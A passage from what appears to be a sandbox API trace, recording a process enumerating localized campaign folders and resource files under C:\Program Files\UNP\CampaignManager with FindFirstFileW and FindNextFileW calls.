lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.544] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0184.545] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.545] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nn-NO", cAlternateFileName="")) returned 1 [0184.545] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.545] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.575] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.575] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9653, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.575] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.575] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.575] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.575] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.575] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.576] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.576] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0184.576] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.576] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484d18 [0184.579] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.579] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa1a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.579] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f446d9f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f446d9f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x251, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.579] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f446d9f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f446d9f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x195, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.579] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f741ca5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f741ca5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.580] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f741ca5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f741ca5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.580] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0184.581] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.581] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0184.581] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.581] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484d18 [0184.584] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.584] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f9f0764, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9e86, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.584] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f9f0764, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.585] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f9f0764, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.585] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fb21a2e, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fb21a2e, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.585] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fb21a2e, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fb21a2e, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.585] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0184.586] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.586] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0184.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.590] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.590] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fedb513, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fedb513, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa089, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.590] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fedb513, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fedb513, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x256, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.590] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fedb513, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fedb513, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.590] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x910709ea, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.590] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x910709ea, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.590] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.591] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.591] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1 [0184.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.591] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484d18 [0184.752] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.752] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x910709ea, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xa00a700, ftLastWriteTime.dwHighDateTime=0x1d2d49b, nFileSizeHigh=0x0, nFileSizeLow=0x6f0d1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="20170517_Lock_200.gif", cAlternateFileName="201705~1.GIF")) returned 1 [0184.752] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914769c5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x914769c5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x39d55500, ftLastWriteTime.dwHighDateTime=0x1d29d5c, nFileSizeHigh=0x0, nFileSizeLow=0x4b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Back_0000_Hover.png", cAlternateFileName="BACK_0~1.PNG")) returned 1 [0184.752] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914769c5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x914769c5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x39d55500, ftLastWriteTime.dwHighDateTime=0x1d29d5c, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Back_0001_Static.png", cAlternateFileName="BACK_0~2.PNG")) returned 1 [0184.752] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916d8f47, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x916d8f47, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1ab83100, ftLastWriteTime.dwHighDateTime=0x1d2cb1b, nFileSizeHigh=0x0, nFileSizeLow=0x152b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="jquery-3.1.1.min.js", cAlternateFileName="JQUERY~1.JS")) returned 1 [0184.752] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918a2cfb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918a2cfb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xa00a700, ftLastWriteTime.dwHighDateTime=0x1d2d49b, nFileSizeHigh=0x0, nFileSizeLow=0x203b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Lock-Confirmation-page-350.png", cAlternateFileName="LOCK-C~1.PNG")) returned 1 [0184.752] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918a2cfb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918a2cfb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1c907700, ftLastWriteTime.dwHighDateTime=0x1d2a6ca, nFileSizeHigh=0x0, nFileSizeLow=0x237b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Picture2_80.jpg", cAlternateFileName="PICTUR~1.JPG")) returned 1 [0184.752] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918c8e48, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918c8e48, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x57d93800, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x28828, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PrivacyContentWrapper.min.js", cAlternateFileName="PRIVAC~1.JS")) returned 1 [0184.753] FindNextFileW (in: 